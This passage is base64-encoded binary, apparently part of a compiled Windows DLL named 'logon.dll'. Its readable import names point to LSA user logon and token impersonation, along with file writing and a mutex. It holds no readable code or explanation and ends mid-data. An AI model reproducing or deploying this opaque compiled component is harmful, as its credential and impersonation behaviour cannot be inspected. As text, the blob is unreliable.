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AAAAADIXwEAAAAAANZfAQAAAAAA/l8BAAAAAAAWYAEAAAAAAChgAQAAAAAAxGIBAAAAAABYYAEAAAAAAG5gAQAAAAAAiGABAAAAAACiYAEAAAAAALxgAQAAAAAA0mABAAAAAADmYAEAAAAAAPpgAQAAAAAAFmEBAAAAAAA0YQEAAAAAAEhhAQAAAAAAVGEBAAAAAABiYQEAAAAAAHBhAQAAAAAAemEBAAAAAACOYQEAAAAAAKZhAQAAAAAAvmEBAAAAAADQYQEAAAAAAOJhAQAAAAAA7GEBAAAAAAD4YQEAAAAAAARiAQAAAAAAEmIBAAAAAAAoYgEAAAAAADhiAQAAAAAASGIBAAAAAABYYgEAAAAAAGpiAQAAAAAAfmIBAAAAAAAAAAAAAAAAAEhdAQAAAAAAJl0BAAAAAAAQXQEAAAAAAAAAAAAAAAAAJgBMc2FDb25uZWN0VW50cnVzdGVkACwATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAArAExzYUxvZ29uVXNlcgAAU2VjdXIzMi5kbGwA1gBDcmVhdGVGaWxlVwBcBFJlYWRGaWxlAAApAkdldEN1cnJlbnRQcm9jZXNzAHACR2V0TGFzdEVycm9yAADlAENyZWF0ZU11dGV4VwAAbgVTbGVlcAAxBmxzdHJsZW5XAAABBldyaXRlRmlsZQBLRVJORUwzMi5kbGwAANMBTHNhTnRTdGF0dXNUb1dpbkVycm9yABICT3BlblByb2Nlc3NUb2tlbgAAbwFHZXRUb2tlbkluZm9ybWF0aW9uAIkBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAQURWQVBJMzIuZGxsAABAAUVuY29kZVBvaW50ZXIAGAFEZWNvZGVQb2ludGVyAOgBR2V0Q29tbWFuZExpbmVBAC4CR2V0Q3VycmVudFRocmVhZElkAADEBFJ0bFBjVG9GaWxlSGVhZGVyAEwEUmFpc2VFeGNlcHRpb24AAMIEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAyARSdGxVbndpbmRFeACGA0lzRGVidWdnZXJQcmVzZW50AIsDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudABzAUV4aXRQcm9jZXNzAIYCR2V0TW9kdWxlSGFuZGxlRXhXAAC8AkdldFByb2NBZGRyZXNzAADvA011bHRpQnl0ZVRvV2lkZUNoYXIAXwNIZWFwU2l6ZQAA5AJHZXRTdGRIYW5kbGUAAIMCR2V0TW9kdWxlRmlsZU5hbWVXAABaA0hlYXBGcmVlAABWA0hlYXBBbGxvYwAlBVNldExhc3RFcnJvcgAAwQJHZXRQcm9jZXNzSGVhcAAAXgJHZXRGaWxlVHlwZQBvA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAHwFEZWxldGVDcml0aWNhbFNlY3Rpb24A3gJHZXRTdGFydHVwSW5mb1cAggJHZXRNb2R1bGVGaWxlTmFtZUEAAD8EUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAKgJHZXRDdXJyZW50UHJvY2Vzc0lkAPsCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUARwJHZXRFbnZpcm9ubWVudFN0cmluZ3NXAAC9AUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAO0FV2lkZUNoYXJUb011bHRpQnl0ZQC7BFJ0bENhcHR1cmVDb250ZXh0AMkEUnRsVmlydHVhbFVud2luZAAAoAVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAF8FU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAH4FVGVybWluYXRlUHJvY2VzcwAAkAVUbHNBbGxvYwAAkgVUbHNHZXRWYWx1ZQCTBVRsc1NldFZhbHVlAJEFVGxzRnJlZQCHAkdldE1vZHVsZUhhbmRsZVcAAEQBRW50ZXJDcml0aWNhbFNlY3Rpb24AAMADTGVhdmVDcml0aWNhbFNlY3Rpb24AAMUDTG9hZExpYnJhcnlFeFcAAJADSXNWYWxpZENvZGVQYWdlAMQBR2V0QUNQAACnAkdldE9FTUNQAADTAUdldENQSW5mbwBdA0hlYXBSZUFsbG9jABgET3V0cHV0RGVidWdTdHJpbmdXAADGA0xvYWRMaWJyYXJ5VwAAtANMQ01hcFN0cmluZ1cAAPwBR2V0Q29uc29sZUNQAAAOAkdldENvbnNvbGVNb2RlAAAYBVNldEZpbGVQb2ludGVyRXgAAOkCR2V0U3RyaW5nVHlwZVcAAD0FU2V0U3RkSGFuZGxlAAAABldyaXRlQ29uc29sZVcAswFGbHVzaEZpbGVCdWZmZXJzAACOAENsb3NlSGFuZGxlAAAAAAAAAAAAAAAAAAAAAAAAANdTiVIAAAAAEmMBAAEAAAABAAAAAQAAAAhjAQAMYwEAEGMBAKAWAAAcYwEAAABsb2dvbi5kbGwAVm9pZEZ1bmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmOcAgAEAAAAAAAAAAAAAAC4/QVZiYWRfYWxsb2NAc3RkQEAAAAAAAJjnAIABAAAAAAAAAAAAAAAuP0FWZXhjZXB0aW9uQHN0ZEBAAAAAAACY5wCAAQAAAAAAAAAAAAAALj9BVmxvZ2ljX2Vycm9yQHN0ZEBAAAAAmOcAgAEAAAAAAAAAAAAAAC4/QVZsZW5ndGhfZXJyb3JAc3RkQEAAAJjnAIABAAAAAAAAAAAAAAAuP0FWb3V0X29mX3JhbmdlQHN0ZEBAAAAAAAAAAAAAAJjnAIABAAAAAAAAAAAAAAAuP0FWdHlwZV9pbmZvQEAAMqLfLZkrAADNXSDSZtT//wEAAAACAAAAAgAAAAAAAABc9ACAAQAAAGj0AIABAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAABAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAALAAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEAAAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAAABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAACgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAACAAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAADAAAAAgAAAD/////AAAAAAAAAAAAAAAA//////////+ACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAmOcAgAEAAAAAAAAAAAAAAC4/QVZiYWRfZXhjZXB0aW9uQHN0ZEBAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmLEAgAEAAACYsQCAAQAAAJixAIABAAAAmLEAgAEAAACYsQCAAQAAAJixAIABAAAAmLEAgAEAAACYsQCAAQAAAJixAIABAAAAmLEAgAEAAAABAgQIAAAAAAAAAAAAAAAApAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0HgBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6AAAAAAAAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6AAAAAAAAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADglwGAAQAAAAAAAAAAAAAA4JcBgAEAAAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDAAAAAAAAAAAAAAAAAAAATDYBgAEAAABQNgGAAQAAAFQ2AYABAAAAWDYBgAEAAABcNgGAAQAAAGA2AYABAAAAZDYBgAEAAABoNgGAAQAAAHA2AYABAAAAeDYBgAEAAACANgGAAQAAAJA2AYABAAAAnDYBgAEAAACoNgGAAQAAALQ2AYABAAAAuDYBgAEAAAC8NgGAAQAAAMA2AYABAAAAxDYBgAEAAADINgGAAQAAAMw2AYABAAAA0DYBgAEAAADUNgGAAQAAANg2AYABAAAA3DYBgAEAAADgNgGAAQAAAOg2AYABAAAA8DYBgAEAAAD8NgGAAQAAAAQ3AYABAAAAxDYBgAEAAAAMNwGAAQAAABQ3AYABAAAAHDcBgAEAAAAoNwGAAQAAADg3AYABAAAAQDcBgAEAAABQNwGAAQAAAFw3AYABAAAAYDcBgAEAAABoNwGAAQAAAHg3AYABAAAAkDcBgAEAAAABAAAAAAAAAKA3AYABAAAAqDcBgAEAAACwNwGAAQAAALg3AYABAAAAwDcBgAEAAADINwGAAQAAA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